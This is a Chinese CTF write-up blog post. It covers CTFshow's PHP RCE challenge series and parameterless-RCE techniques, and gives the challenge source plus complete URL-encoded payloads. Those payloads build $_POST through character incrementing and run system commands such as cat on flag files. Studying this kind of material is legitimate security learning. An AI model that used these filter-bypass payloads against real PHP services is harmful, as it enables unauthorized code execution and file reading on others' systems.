一些RCE的汇总

news2024/11/18 23:41:35

RCE

  • 自增RCE
    • 参考[CTFshow-RCE极限大挑战官方wp]
      • RCE-1[过滤.(]
      • RCE-2p[自增-Array]
      • RCE-3[自增-NAN-<=105字符]
      • RCE-4[自增-NAN-<=84字符]
      • RCE-5[自增-gettext扩展]
      • 72位字符
      • 68位字符
  • 无参数RCE
    • 参考[RCE篇之无参数rce]
    • 介绍
      • 例题
      • 一些能用上的函数

前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适,加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤了(.,wp有写文件包含,ls看了一眼直接开摆
在这里插入图片描述
因为php的反引号可以执行系统命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

在这里插入图片描述

RCE-2p[自增-Array]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串

<?php
// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'<br>';
$_ = [].'';//Array
echo $_.'<br>';
$_ = "$_";//Array
echo $_.'<br>';
$_ = $_['!'=='@'];//Array[0]=>A
echo $_.'<br>';
echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了<br>';
@$a=(0/0);//NAN
echo $a.'<br>';
@$b=(1/0);//NAN
echo $b;
?>

在这里插入图片描述
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>

通过url编码后用Burpsuite工具POST上传即可
HackbarPOST的url编码会被以另一种编码上传到服务器,导致数据失真

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE-3[自增-NAN-<=105字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以看到01被放出来了,然后限制了长度为105字符
用RCE-2提到的(0/0)得到N,然后自增构造出$_POST一句话木马,过程wp里的注释已经清楚明了了

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

然后常规变量名替换成不可见字符变量名,得到payload:

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE-4[自增-NAN-<=84字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

开始上难度了,84字符,只可以用数字0,那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0]直接得到字母N,同时$a=(0/0._)会出现语法报错。
先演示

<?php
error_reporting(0);
$a = (_/_);
echo $a.'<br>';
$a = (_/_._);
echo $a.'<br>';
$a = (_/_._)[0];
echo $a;
?>

在这里插入图片描述

payload构造过程:

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

同上

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE-5[自增-gettext扩展]

题目源码

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以划重点记一下gettext的这个特性
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

更改变量名

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

72位字符

$$yysd

另外说一下,被师傅们拿到了72位字符的方法,感谢@狸师傅、@yun0tian等师傅们的创意,下面是payload构造过程:

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

PAYLOAD

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

关于为什么$_=$a.$a++;//PO,这还真说不出来,只能说,不管是$a++还是++$a,都是先第一位++,然后再照常执行++,先记着吧,后面万一想看php内核了就去研究一下

<?php
$d=1;
$c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++;
echo $c."<br>";
$d=1;
$c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d;
echo $c;
?>

在这里插入图片描述

68位字符

这个是真神,解释了我也看不懂

师傅们实在是太强了,目前在有gettext环境下,最短的payload长度是68!payload构造过程:

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

上面第三行其实可以分开来看,php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

因为$a还没赋值,此时仍为O,所以$a[$_++/$_++]因为下标为NAN不存在就取第一位了

真的是奇思妙想,尤其是$a[$_++/$_++]这个操作,把两个$_++;结合在一起,虽然比分开来写多用了一个字符,但是可以把拼接_POST的操作合并在同一行里,反而节省了更多字符。实在是太强了,感谢@lazy_forever、@Article_kelp师傅的创意。
PAYLOAD2

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

g4_simon:感谢师傅们的积极参与,我也在出题过程中学到了很多,师傅们在几小时内就把我研究了四天四夜的题给杀穿了,甚至比我想象的还要极限。本身CTF就是一个不断超越自己、超越极限的过程,希望这几个题能给师傅们带来一些启发。

启发,好大的启发。

无参数RCE

参考[RCE篇之无参数rce]

参考

RCE篇之无参数rce
PHP无参数RCE
无参数rce
浅谈无参数RCE
无参数RCE总结及文件读取学习

介绍

无参数rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果。
核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数.通过正则匹配将不带函数的函数替换为空,若最终结果为;则执行eval($_GET[‘code’]);
此时只能用 a(b(c()));来RCE而不是a(b(c));

例题

先来个buuctf的例题 GXY_CTF “禁止套娃”
.git源码泄露得到index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

三个正则,第一个禁用了一些伪协议,第二个就是无参数RCE,第三个过滤一些关键词。
最总Payload为:

?exp=print_r(scandir(pos(localeconv())));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

第一条从里向外解释一下
localeconv()
在这里插入图片描述
php直接var_dump()可以得到

array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } } 

pos()

pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。pos()是current()的别名
与其同时使用的还有
next()指针后移并输出内容
prev()指针前移并输出内容

scandir()就是目录遍历。
连起来就是scandir(pos(localeconv()));等价于scandir('.');
print_r输出当前内容,达到一个目录遍历的效果。

第二条
在这里插入图片描述

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻转数组
然后next()获取到’flag.php’字符串,由于next()后的结果为字符串,所以不能next(next(Array)),局限性还是蛮大的
最后show_source()函数高亮文本内容得到flag

show_source() 函数对文件进行语法高亮显示。
本函数是 highlight_file() 的别名。

在这里插入图片描述

一些能用上的函数

getenv()获取当前环境变量
get_defined_vars()返回由所有已定义变量所组成的数组
	获取的四个全局变量$_GET$_POST$_FILES$_COOKIE,返回一个二维数组
array_flip()交换数组中的键和值
array_rand()从数组中随机取出一个或多个单元
array_reverse()返回单元顺序相反的数组
array_flip()交换数组中的键和值
current()pos()返回数组中的当前单元
getallheaders()这个函数的作用是获取http所有的头部信息
session_id()读取session,主要用法为session_id(session_start())
file_get_contents()将整个文件读入一个字符串
readfile()读取文件并写入到输出缓冲。
highlight_file()show_source() — 语法高亮一个文件
getcwd()取得当前工作目录
scandir()列出指定路径中的文件和目录
chdir()改变目录
dirname()返回路径中的目录部分
rand()产生一个随机整数
chr()返回指定的字符
time()返回当前的 Unix 时间戳 
localtime()取得本地时间localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字hex2bin()转换十六进制字符串为二进制字符串
ceil()进一法取整
sinh()双曲正弦
cosh()双曲余弦
tan()正切
floor():舍去法取整
sqrt()平方根
crypt()单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord()返回字符串的第一个字符的 ASCII 码值。

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil,这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/29645.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络基础知识总结+网络设备介绍(运维必备网络知识)

什么是网络 网络是由多台计算机&#xff08;或手机等&#xff09;通过网络设备&#xff08;交换机以及路由器&#xff09;及网线&#xff08;或无线&#xff09;连接起来&#xff0c;按照一定的规范规则则彼此进行通信的系统总称。 为什么要有网络 网络出现的最核心需求就是…

[足式机器人]Part3机构运动微分几何学分析与综合Ch01-3 平面运动微分几何学——【读书笔记】

本文仅供学习使用 本文参考&#xff1a; 《机构运动微分几何学分析与综合》-王德伦、汪伟 《微分几何》吴大任 Ch01-3 平面运动微分几何学1.2.2 瞬心线-21.2.3 点轨迹的Euler-Savary公式1.2.2 瞬心线-2 &#xff08;3&#xff09;平面连杆机构&#xff08;二自由度开链串联机构…

【LeetCode-中等】238. 除自身以外数组的乘积(详解)

题目 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请不要使用除法&#xff0c;且在 O(n) 时…

vue 动态组件 render/jsx

需求 根据用户需求设定的动态呈现表单内容 刚开始 打算使用v-html使用,但是v-html 无法渲染组件&#xff0c;只能显示原生的dom,操作起来实在是不方便。查阅了之后&#xff0c;发现可以用render或者jsx实现【为了能作为Vue模板解析】。于是乎开启了我render之旅~ 使用 <tem…

基于JAVA的图书借阅管理平台【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86427643 高校图书馆提倡“以人为本”的管理理念&#xff0c;从读者的角度出发&#xff0c;最大程度满足读者群体的文献资源需要。高校图书馆的管理理念和服务模式之间有着紧密的联系&#xff…

一键开启云原生网络安全新视界

本文作者&#xff1a;陈桐乐 李卓嘉 随着云原生的兴起&#xff0c;微服务、容器、kubernetes容器编排正在快速改变着企业软件架构的形态&#xff0c;单体架构、分布式架构、微服务架构&#xff0c;软件架构在持续演进的过程中&#xff0c;变得越来越复杂&#xff0c;管理和维护…

Qt QLabel文本框的使用

文章目录QLabel文本框的使用QLabel文本框的信号和槽实例演示QLabel文本框的用法已剪辑自: http://c.biancheng.net/view/vip_9653.html QLabel 是 Qt 帮我们写好的一个控件类&#xff0c;间接继承自 QWidget 类&#xff0c;它的继承关系如下&#xff1a; QLabel -> QFrame…

消防宣传科普|消防安全知识网上答题挑战赛活动方案

活动背景 为普及消防法律法规和消防安全知识&#xff0c;营造消防宣传月浓厚氛围。集团公司防火办通过“防火安全知识专项学习与竞答”小程序&#xff0c;开展“消防知识网上答题挑战赛”&#xff0c;提升全员消防安全意识&#xff0c;提高抗御火灾、自防自救和组织疏散能力。…

配置FTP站点操作步骤—图解

前提条件(已安装FTP服务器可忽略)&#xff1a; 点击WinR后在运行窗口中输入control&#xff0c;将打开控制面板&#xff0c;选择【程序】—【启动或关闭Windows功能】—点击【Internet Information Services】勾选【FTP服务器】—点击【确定】按钮按照即可。 1.点击WinR后在运…

数字集成电路设计(六、Verilog HDL高级程序设计举例)

文章目录1. 数字电路系统设计的层次化描述方式1.1 Bottom-Up 设计方法1.2 Top-Down 设计方法2. 典型电路设计2.1 加法器树乘法器2.1.1 改进为两级流水线4位加法器树乘法器2.2 Wallace 树乘法器2.3 复数乘法器2.4 FIR滤波器的设计2.5 存储器的设计2.6 FIFO的设计1. 数字电路系统…

Mac下,protoc-gen-go-grpc: program not found or is not executable问题的解决

一 问题来源 在公司的项目中,需要把对应的proto文件生成对应的pb文件,当执行protoc相关命令时,出现报错:protoc-gen-go-grpc: program not found or is not executable Please specify a program using absolute path or make sure the program is available in your PATH …

IDEA配置Tomcat,先报500错误,刷新后报404.

IDEA配置Tomcat&#xff0c;先报500错误&#xff0c;刷新后报404的解决方法.错误1&#xff1a;JDK的版本高于JRE的版本错误2&#xff1a;Tomcat版本与JDK版本不相符报错截图 错误1&#xff1a;JDK的版本高于JRE的版本 这也是我个人在配置过程中&#xff0c;导致无法配置成功的…

HTML旅游网页设计制作 DW旅游网站官网滚动网页 DIV旅游风景介绍网页设计与实现

&#x1f468;‍&#x1f393;学生HTML静态网页基础水平制作&#x1f469;‍&#x1f393;&#xff0c;页面排版干净简洁。使用HTMLCSS页面布局设计,web大学生网页设计作业源码&#xff0c;这是一个不错的旅游网页制作&#xff0c;画面精明&#xff0c;排版整洁&#xff0c;内容…

Transferrin-PEG-PMMA 转铁蛋白-聚乙二醇-聚甲基丙烯酸甲酯,F-PEG-PBA/PAE/PPS

产品名称&#xff1a;转铁蛋白-聚乙二醇-聚甲基丙烯酸甲酯 英文名称&#xff1a;Transferrin-PEG-PMMA 纯度&#xff1a;95% 存储条件&#xff1a;-20C&#xff0c;避光&#xff0c;避湿 外观:固体或粘性液体&#xff0c;取决于分子量 PEG分子量可选&#xff1a;350、550、750、…

numpy数组索引、数组切片、数组形状修改、数组类型修改和数组去重

一、numpy数组索引、切片 直接进行索引&#xff0c;切片对象[:, :]&#xff1a;先行后列 代码如下 a np.array([[1, 2, 3], [11, 22, 33]]) # 二维数组 a[1, [0,1,2]] # 索引a np.array([[1, 2, 3], [11, 22, 33]]) # 二维数组 a[1, 0:3] # 切片a2 np.array([[[1,…

【Paper】2021_多智能体系统滞后一致性研究_马逸文

马逸文. 多智能体系统滞后一致性研究[D].西南民族大学,2021.DOI:10.27417/d.cnki.gxnmc.2021.000193. 文章目录第一章 绪论第三章 二阶离散线性多智能体系统滞后一致性3.5 数值仿真第一章 绪论 第三章 二阶离散线性多智能体系统滞后一致性 3.5 数值仿真 x0(k1)Ax0(k)v0(k)v0(…

脚本-抽取配置文件

要获取不同版本的下载链接需要通过三次点击才能进入到有下载链接的Html页&#xff0c;想写爬虫的话需要使用selenium去实现点击功能&#xff0c;然后这个网站比较乱&#xff0c;所以根据Xpath也不太好写&#xff08;可能得写好多异常处理&#xff09;&#xff0c;所以我选择手动…

数字化门店| 奶茶店智慧管理系统

奶茶如今已经成为年轻女性的常饮品&#xff0c;比如蜜雪冰城、奈雪的茶之类的品牌线下门店&#xff0c;门店量的庞大覆盖&#xff0c;使得每天都是人来人往&#xff0c;但碰上优惠活动日或节假日&#xff0c;很多人需要排很长的队才能买到&#xff0c;同时在店内坐的消费者如果…

[附源码]java毕业设计血库管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

网页期末作业 基于HTML+CSS中国传统节日【清明节】带论文8000字

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…